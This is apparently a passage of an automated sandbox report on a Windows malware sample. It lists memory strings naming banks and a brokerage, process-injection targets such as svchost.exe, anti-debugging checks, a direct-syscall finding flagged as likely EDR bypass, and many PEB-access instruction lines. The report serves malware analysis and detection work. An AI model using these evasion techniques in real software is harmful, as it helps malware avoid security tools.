Source: sXmdPDASzrmzi.exe, 00000003.00000002.4488167215.000000000109F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz0JDY
Source: 049zKJ78K.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 0XLuA614VK.exe, 00000000.00000002.2047858943.0000000001354000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ewxQemUiEk5ZDVeUr-fg
Source: 049zKJ78K.4.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: msiexec.exe, 00000004.00000002.4488021727.0000000002663000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll?
Source: 049zKJ78K.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 049zKJ78K.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004160C3 rdtsc

2_2_004160C3

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417993 LdrLoadDll,

2_2_00417993

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F9EAA2 BlockInput,

0_2_00F9EAA2

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F52622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00F52622

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F44CE8 mov eax, dword ptr fs:[00000030h]	0_2_00F44CE8
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_01163480 mov eax, dword ptr fs:[00000030h]	0_2_01163480
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_011634E0 mov eax, dword ptr fs:[00000030h]	0_2_011634E0
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_01161E70 mov eax, dword ptr fs:[00000030h]	0_2_01161E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D437C mov eax, dword ptr fs:[00000030h]	2_2_036D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B2349 mov eax, dword ptr fs:[00000030h]	2_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]	2_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]	2_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]	2_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B035C mov ecx, dword ptr fs:[00000030h]	2_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]	2_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B035C mov eax, dword ptr fs:[00000030h]	2_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FA352 mov eax, dword ptr fs:[00000030h]	2_2_036FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D8350 mov ecx, dword ptr fs:[00000030h]	2_2_036D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0370634F mov eax, dword ptr fs:[00000030h]	2_2_0370634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03708324 mov eax, dword ptr fs:[00000030h]	2_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03708324 mov ecx, dword ptr fs:[00000030h]	2_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03708324 mov eax, dword ptr fs:[00000030h]	2_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03708324 mov eax, dword ptr fs:[00000030h]	2_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]	2_2_0366A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]	2_2_0366A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A30B mov eax, dword ptr fs:[00000030h]	2_2_0366A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362C310 mov ecx, dword ptr fs:[00000030h]	2_2_0362C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03650310 mov ecx, dword ptr fs:[00000030h]	2_2_03650310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036403E9 mov eax, dword ptr fs:[00000030h]	2_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036663FF mov eax, dword ptr fs:[00000030h]	2_2_036663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EC3CD mov eax, dword ptr fs:[00000030h]	2_2_036EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]	2_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]	2_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]	2_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036383C0 mov eax, dword ptr fs:[00000030h]	2_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B63C0 mov eax, dword ptr fs:[00000030h]	2_2_036B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]	2_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]	2_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE3DB mov eax, dword ptr fs:[00000030h]	2_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D43D4 mov eax, dword ptr fs:[00000030h]	2_2_036D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D43D4 mov eax, dword ptr fs:[00000030h]	2_2_036D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]	2_2_0362E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]	2_2_0362E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362E388 mov eax, dword ptr fs:[00000030h]	2_2_0362E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]	2_2_0365438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]	2_2_0365438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]	2_2_03628397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]	2_2_03628397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]	2_2_03628397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]	2_2_03634260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]	2_2_03634260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]	2_2_03634260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362826B mov eax, dword ptr fs:[00000030h]	2_2_0362826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B8243 mov eax, dword ptr fs:[00000030h]	2_2_036B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B8243 mov ecx, dword ptr fs:[00000030h]	2_2_036B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0370625D mov eax, dword ptr fs:[00000030h]	2_2_0370625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362A250 mov eax, dword ptr fs:[00000030h]	2_2_0362A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636259 mov eax, dword ptr fs:[00000030h]	2_2_03636259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EA250 mov eax, dword ptr fs:[00000030h]	2_2_036EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EA250 mov eax, dword ptr fs:[00000030h]	2_2_036EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362823B mov eax, dword ptr fs:[00000030h]	2_2_0362823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]	2_2_036402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]	2_2_036402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]	2_2_036402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037062D6 mov eax, dword ptr fs:[00000030h]	2_2_037062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036402A0 mov eax, dword ptr fs:[00000030h]	2_2_036402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036402A0 mov eax, dword ptr fs:[00000030h]	2_2_036402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]	2_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]	2_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]	2_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]	2_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]	2_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]	2_2_0366E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]	2_2_0366E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]	2_2_036B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]	2_2_036B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]	2_2_036B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704164 mov eax, dword ptr fs:[00000030h]	2_2_03704164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704164 mov eax, dword ptr fs:[00000030h]	2_2_03704164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]	2_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]	2_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C4144 mov ecx, dword ptr fs:[00000030h]	2_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]	2_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]	2_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362C156 mov eax, dword ptr fs:[00000030h]	2_2_0362C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C8158 mov eax, dword ptr fs:[00000030h]	2_2_036C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]	2_2_03636154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]	2_2_03636154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03660124 mov eax, dword ptr fs:[00000030h]	2_2_03660124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov eax, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DE10E mov ecx, dword ptr fs:[00000030h]	2_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DA118 mov ecx, dword ptr fs:[00000030h]	2_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]	2_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]	2_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]	2_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F0115 mov eax, dword ptr fs:[00000030h]	2_2_036F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037061E5 mov eax, dword ptr fs:[00000030h]	2_2_037061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036601F8 mov eax, dword ptr fs:[00000030h]	2_2_036601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]	2_2_036F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]	2_2_036F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03670185 mov eax, dword ptr fs:[00000030h]	2_2_03670185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]	2_2_036EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]	2_2_036EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D4180 mov eax, dword ptr fs:[00000030h]	2_2_036D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D4180 mov eax, dword ptr fs:[00000030h]	2_2_036D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]	2_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]	2_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]	2_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]	2_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]	2_2_0362A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]	2_2_0362A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]	2_2_0362A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365C073 mov eax, dword ptr fs:[00000030h]	2_2_0365C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03632050 mov eax, dword ptr fs:[00000030h]	2_2_03632050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6050 mov eax, dword ptr fs:[00000030h]	2_2_036B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362A020 mov eax, dword ptr fs:[00000030h]	2_2_0362A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362C020 mov eax, dword ptr fs:[00000030h]	2_2_0362C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C6030 mov eax, dword ptr fs:[00000030h]	2_2_036C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B4000 mov ecx, dword ptr fs:[00000030h]	2_2_036B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000 mov eax, dword ptr fs:[00000030h]	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]	2_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]	2_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]	2_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]	2_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0362A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036380E9 mov eax, dword ptr fs:[00000030h]	2_2_036380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B60E0 mov eax, dword ptr fs:[00000030h]	2_2_036B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0362C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036720F0 mov ecx, dword ptr fs:[00000030h]	2_2_036720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B20DE mov eax, dword ptr fs:[00000030h]	2_2_036B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036280A0 mov eax, dword ptr fs:[00000030h]	2_2_036280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C80A8 mov eax, dword ptr fs:[00000030h]	2_2_036C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F60B8 mov eax, dword ptr fs:[00000030h]	2_2_036F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_036F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363208A mov eax, dword ptr fs:[00000030h]	2_2_0363208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638770 mov eax, dword ptr fs:[00000030h]	2_2_03638770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
